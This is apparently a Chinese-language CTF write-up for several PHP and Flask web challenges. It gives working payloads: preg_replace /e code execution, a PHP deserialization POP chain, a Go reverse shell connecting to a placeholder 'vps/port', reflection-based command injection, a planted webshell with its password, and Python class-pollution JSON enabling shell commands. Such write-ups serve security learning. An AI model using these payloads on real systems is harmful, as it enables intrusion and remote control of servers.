web-本科组
ezrce
这个key不知道干什么的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); include 'waf.php'; header("Content-Type:text/html;charset=utf-8"); echo "你是谁啊哥们?把钥匙给我!!!!<br/>"; $key=$_GET['key']; $name=$_POST['name']; $qaq=waf($_POST['qaq']); if (isset($_GET['key'])){ highlight_file(__FILE__); } if (isset($name)) { echo "你是".$name."大人????<br/>"; $name1=preg_replace('/hahaha/e',$qaq,$name); echo "骗我的吧,你明明是 >>>>小小".$name1; } ?>
|
preg_replace /e模式下rce,但是有waf
无参读取文件
1
| name=hahaha&qaq=show_source(array_rand(array_flip(scandir(current(localeconv())))));
|
waf.php
1 2 3 4 5 6 7 8 9
| <?php function waf($poc) { if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){ echo "hacker! you die!<br/>"; return "666"; } return $poc; }
|
session rce
1 2
| name=hahaha&qaq=system(session_id(session_start())); cookie:PHPSESSID=cat${IFS}/flag
|

ezpop
看js源码得到pop3ZTgMw.php位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php highlight_file(__FILE__);
class night { public $night;
public function __destruct(){ echo $this->night . '哒咩哟'; } }
class day { public $day;
public function __toString(){ echo $this->day->go(); }
public function __call($a, $b){ echo $this->day->getFlag(); } }
class light { public $light;
public function __invoke(){ echo $this->light->d(); } }
class dark { public $dark;
public function go(){ ($this->dark)(); }
public function getFlag(){ include(hacked($this->dark)); } }
function hacked($s) { if(substr($s, 0,1) == '/'){ die('呆jio步'); } $s = preg_replace('/\.\.*/', '.', $s); $s = urldecode($s); $s = htmlentities($s, ENT_QUOTES, 'UTF-8'); return strip_tags($s); }
$un = unserialize($_POST['快给我传参pop']); throw new Exception('seino');
|
这里有个unicode传参问题,用010打开文件复制16进制看。
然后pop+fastdestruct
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php class night { public $night;
}
class day { public $day;
public function __toString(){ echo $this->day->go(); }
public function __call($a, $b){ echo $this->day->getFlag(); } }
class light { public $light;
public function __invoke(){ echo $this->light->d(); } }
class dark { public $dark;
public function go(){ ($this->dark)(); }
public function getFlag(){ include(hacked($this->dark)); } }
function hacked($s) { if(substr($s, 0,1) == '/'){ die('呆jio步'); } $s = preg_replace('/\.\.*/', '.', $s); $s = urldecode($s); $s = htmlentities($s, ENT_QUOTES, 'UTF-8'); return strip_tags($s); } $dark2=new dark(); $day2=new day(); $light1=new light(); $dark1=new dark(); $day1=new day(); $n1=new night(); $n1->night=$day1; $day1->day=$dark1; $dark1->dark=$light1; $light1->light=$day2; $day2->day=$dark2; $dark2->dark="php://filter/read=convert.base64-encode/resource=/flag";
$se=serialize($n1); $se=str_replace('night":1:{s', 'night":2:{s', $se); echo $se;
|
payload:
1
| %E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6%70%6F%70=O:5:"night":2:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}}}}
|

test

注册账号登录后回显
但是不存在SSTI。
源码发现

访问没啥东西,访问/profile/admin得到
1
| {"result":"admin:513106c051f94528f1d386926aa65e1a"}
|
md5解密得到
登录后给了一个文件上传的路由

go反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package main
import ( "fmt" "log" "os/exec" )
func main() { cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/port 0>&1") out, err := cmd.CombinedOutput() if err != nil { fmt.Printf("combined out:\n%s\n", string(out)) log.Fatalf("cmd.Run() failed with %s\n", err) } fmt.Printf("combined out:\n%s\n", string(out)) }
|

unserialize
这里贴的是作者的wp,题目有非预期,waf过滤不到位
robots.txt得hint.php
1
| you can use these(getProperty、ReflectionObject、getFlag、getProperty、setAccessible、setValue)function
|
分析提示,可以使用getProperty,ReflectionObject,getFlag,getProperty,setAcessible,setValue这些函数,考虑使用PHP反射类。
分析题目,发现当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行,调用了waf函数进行检测也就是hint.php所说的能够调用的函数,将上面代码复制下来用vscode打开,可以通过反射修改private变量。
编写exp
1 2 3 4 5 6 7 8
| $flag = new getFlag(); $reflectionObject = new ReflectionObject($flag); $reflectionProperty = $reflectionObject->getProperty('password'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($flag, " //how to change the private variablessecret"); $reflectionProperty = $reflectionObject->getProperty('cmd'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($flag, 'cat /f*');
|
4、将页面代码复制到编辑器发现不可见字符

5、用GET方法传入a,得到flag

web-职业院校组
easyrce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); highlight_file(__FILE__);
if (!empty($_GET['PK'])){ $PK = $_GET['PK']; if(blacklistFilter($_SERVER["QUERY_STRING"])){ include $PK; }else{ highlight_file(__FILE__); } }
function blacklistFilter($arg) { $blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$', 'phpinfo', 'flag', 'data', 'filter', '#'); $filteredInput = str_replace($blacklist, '', $arg); return $filteredInput; }
|
blacklistFilter没有用,包含的还是$PK,直接

mua
主页
1 2 3 4 5 6 7 8 9
| <?php ignore_user_abort(true); set_time_limit(0); $file = 'shell.php'; $code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET[\'cmd\'])<9){ @system($_GET[\'cmd\']); } } ?>'; while (1){ file_put_contents($file,$code); usleep(5000); ?>
|
这里缺一个密码,扫目录得到
robots.txt给出substr_pass.php
访问得到
1
| <p style="display:none">hint:?a=xx&b=xx</p>
|
结合题目传递参数可以发现截取内容,但是限制了b(截取长度)为3并且有中文
最后得到内容
1
| password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善
|
也就得到了小马的密码,直接命令执行
1
| shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=nl /hf*
|
PPP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from flask import Flask,request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
def evilFunc(arg_1 , * , shell = False): if not shell: print(arg_1) else: print(__import__("os").popen(arg_1).read())
class Family: def __init__(self): pass
family = Family()
@app.route('/',methods=['POST', 'GET']) def index(): if request.data: merge(json.loads(request.data), family) evilFunc("whoami") return "fun"
@app.route('/eval',methods=['GET']) def eval(): if request.args.get('cmd'): cmd = request.args.get('cmd') evilFunc(cmd) return "ok"
app.run(host="0.0.0.0",port= 3000,debug=False)
|
通过原型链污染,给family添加恶意的evilFunc方法,shell参数改为true
1 2 3 4 5 6 7 8 9 10 11
| { "__init__" : { "__globals__" : { "evilFunc" : { "__kwdefaults__" : { "shell" :true } } } } }
|
然后rce,外带数据